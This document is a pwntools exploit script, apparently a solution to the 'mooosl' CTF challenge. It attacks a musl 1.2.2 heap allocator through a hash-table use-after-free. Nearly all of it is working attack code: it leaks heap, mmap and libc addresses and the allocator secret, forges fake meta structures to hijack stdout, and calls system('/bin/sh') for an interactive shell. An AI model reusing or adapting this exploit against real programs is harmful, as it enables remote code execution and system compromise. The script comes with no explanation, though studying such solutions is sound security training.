1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256
| #! /usr/bin/env python # -*- coding: utf-8 -*-
from pwn import * import codecs
context.terminal = ['terminator', '--new-tab', '-x'] #context.terminal = ['terminator', '-x', 'sh', '-c'] context.log_level = 'debug' context.arch = 'amd64'
DEBUG = 1 TARGET = './mooosl' LIBCSO = './libc.so' #LIBCSO = '/lib/x86_64-linux-musl/libc.so' #LIBCSO = './libc.so' #LIBCSO = '/mnt/hgfs/sharefd/envs/musl/1.2.2/local.x64/lib/x86_64-linux-musl/libc.so' MODULE = LIBCSO GLOBAL = ''' mcinit -a 1.2.2 b dequeue b queue p __malloc_context '''
tube.s = tube.send tube.sl = tube.sendline tube.sa = tube.sendafter tube.sla = tube.sendlineafter tube.r = tube.recv tube.ru = tube.recvuntil tube.rl = tube.recvline tube.ra = tube.recvall tube.rr = tube.recvregex tube.irt = tube.interactive
if DEBUG == 0: p = process(TARGET) text_base = int(os.popen("pmap {} | grep {} | awk '{{print $1}}'".format(p.pid, TARGET.split('/')[-1])).readlines()[1], 16) libs_base = int(os.popen("pmap {} | grep {} | awk '{{print $1}}'".format(p.pid, MODULE.split('/')[-1])).readlines()[0],16) elif DEBUG == 1: p = process(TARGET, env={'LD_PRELOAD' : './libc.so.6'}) text_base = int(os.popen("pmap {} | grep {} | awk '{{print $1}}'".format(p.pid, TARGET.split('/')[-1])).readlines()[1], 16) libs_base = int(os.popen("pmap {} | grep {} | awk '{{print $1}}'".format(p.pid, MODULE.split('/')[-1])).readlines()[0],16) elif DEBUG == 2: p = remote('mooosl.challengep.ooo', 23333) elif DEBUG == 3: r = ssh(host=host, user='username', password='passwd') p = r.shell()
elf = ELF(TARGET) libc = ELF(LIBCSO)
def debug(addr = 0): if addr != 0: gdb.attach(p, 'b *{}{}'.format(hex(addr), GLOBAL)) else: gdb.attach(p, '{}'.format(GLOBAL))
def store(key_content, value_content, key_size=None, value_size=None, wait=True): p.sendlineafter('option: ', '1') if key_size is None: key_size = len(key_content) p.sendlineafter('size: ', str(key_size)) p.sendafter('content: ', key_content) if value_size is None: value_size = len(value_content) p.sendlineafter('size: ', str(value_size)) if wait: p.recvuntil('content: ') p.send(value_content)
def query(key_content, key_size=None, wait=True): p.sendlineafter('option: ', '2') if key_size is None: key_size = len(key_content) p.sendlineafter('size: ', str(key_size)) if wait: p.recvuntil('content: ') p.send(key_content)
def delete(key_content, key_size=None): p.sendlineafter('option: ', '3') if key_size is None: key_size = len(key_content) p.sendlineafter('size: ', str(key_size)) p.sendafter('content: ', key_content)
def get_hash(content): x = 0x7e5 for c in content: x = ord(c) + x * 0x13377331 return x & 0xfff
def find_key(length=0x10, h=0x7e5): while True: x = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length)) if get_hash(x) == h: return x
def pwn(): info("pwnit!") ###Info Leak store('A', 'A')#AAAAAAU
#clear for reusing freed chunks for _ in range(5): query('A' * 0x30)#AFFFFFU
store('\n', 'A' * 0x30)#UAAAAAU -> UAAAA[U]U #0x4040+0x7e5*8 = 0x7f68 []就是要控的chunk store(find_key(), 'A')#UAAAU[U]U delete('\n')#FAAAU[F]U
#clear for reusing freed chunks for _ in range(3): query('A' * 0x30)#FFFFU[F]U
store('A\n', 'A', 0x1200)#FFFFU[U]U 现在[U] chunk存放了key_ptr与value_ptr query('\n')
res = codecs.decode(p.rl(False).split(b':')[1], 'hex') mmap_base = u64(res[:8]) - 0x20 chunk_addr = u64(res[8:0x10])
for _ in range(3): query('A' * 0x30) query(p64(0) + p64(chunk_addr - 0x60) + p64(0) + p64(0x20) + p64(0x7e5) + p64(0)) query('\n') heap_base = u64(codecs.decode(p.rl(False).split(b':')[1], 'hex')[:8]) - 0x1d0 for _ in range(3): query('A' * 0x30) query(p64(0) + p64(heap_base + 0xf0) + p64(0) + p64(0x200) + p64(0x7e5) + p64(0)) query('\n') libc.address = u64(codecs.decode(p.rl(False).split(b':')[1], 'hex')[:8]) - 0xb7040
for _ in range(3): query('A' * 0x30) query(p64(0) + p64(next(libc.search(b'/bin/sh\0'))) + p64(0) + p64(0x20) + p64(0x7e5) + p64(0)) query('\n') assert codecs.decode(p.rl(False).split(b':')[1], 'hex')[:8] == b'/bin/sh\0'
for _ in range(3): query('A' * 0x30) query(p64(0) + p64(heap_base) + p64(0) + p64(0x20) + p64(0x7e5) + p64(0)) query('\n') secret = u64(codecs.decode(p.rl(False).split(b':')[1], 'hex')[:8])
log.info('mmap base: %#x' % mmap_base) log.info('chunk address: %#x' % chunk_addr) log.info('heap base: %#x' % heap_base) log.info('libc base: %#x' % libc.address) log.info('secret: %#x' % secret)
fake_meta_addr = mmap_base + 0x2010 fake_mem_addr = mmap_base + 0x2040 stdout = libc.address + 0xb4280 log.info('fake_meta_addr: %#x' % fake_meta_addr) log.info('fake_mem_addr: %#x' % fake_mem_addr) log.info('stdout: %#x' % stdout)
# Overwrite stdout-0x10 to fake_meta_addr using dequeue during free sc = 8 # 0x90 freeable = 1 last_idx = 0 maplen = 1 fake_meta = b'' fake_meta += p64(stdout - 0x18) # prev fake_meta += p64(fake_meta_addr + 0x30) # next fake_meta += p64(fake_mem_addr) # mem fake_meta += p32(0) + p32(0) # avail_mask, freed_mask fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx) fake_meta += p64(0)
fake_mem = b'' fake_mem += p64(fake_meta_addr) # meta fake_mem += p32(1) # active_idx fake_mem += p32(0)
payload = b'' payload += b'A' * 0xaa0 payload += p64(secret) + p64(0) payload += fake_meta payload += fake_mem payload += b'\n'
for _ in range(2): query('A' * 0x30) query(payload, 0x1200) store('A', p64(0) + p64(fake_mem_addr + 0x10) + p64(0) + p64(0x20) + p64(0x7e5) + p64(0)) delete('\n') # Create a fake bin using enqueue during free sc = 8 # 0x90 last_idx = 1 fake_meta = b'' fake_meta += p64(0) # prev fake_meta += p64(0) # next fake_meta += p64(fake_mem_addr) # mem fake_meta += p32(0) + p32(0) # avail_mask, freed_mask fake_meta += p64((sc << 6) | last_idx) fake_meta += p64(0)
fake_mem = b'' fake_mem += p64(fake_meta_addr) # meta fake_mem += p32(1) # active_idx fake_mem += p32(0)
payload = b'' payload += b'A' * 0xa90 payload += p64(secret) + p64(0) payload += fake_meta payload += fake_mem payload += b'\n'
query('A' * 0x30) query(payload, 0x1200) store('A', p64(0) + p64(fake_mem_addr + 0x10) + p64(0) + p64(0x20) + p64(0x7e5) + p64(0)) delete('\n')
# Overwrite the fake bin so that it points to stdout fake_meta = b'' fake_meta += p64(fake_meta_addr) # prev fake_meta += p64(fake_meta_addr) # next fake_meta += p64(stdout - 0x10) # mem fake_meta += p32(1) + p32(0) # avail_mask, freed_mask fake_meta += p64((sc << 6) | last_idx) fake_meta += b'A' * 0x18 fake_meta += p64(stdout - 0x10)
payload = b'' payload += b'A' * 0xa80 payload += p64(secret) + p64(0) payload += fake_meta payload += b'\n' query(payload, 0x1200)
# Call calloc(0x80) which returns stdout and call system("/bin/sh") by overwriting vtable payload = b'' payload += b'/bin/sh\0' payload += b'A' * 0x20 payload += p64(heap_base + 1) payload += b'A' * 8 payload += p64(heap_base) payload += b'A' * 8 payload += p64(libc.symbols['system']) payload += b'A' * 0x3c payload += p32((1<<32)-1) payload += b'\n' store('A', payload, value_size=0x80, wait=False) #debug()
p.irt()
if __name__ == "__main__": pwn()
|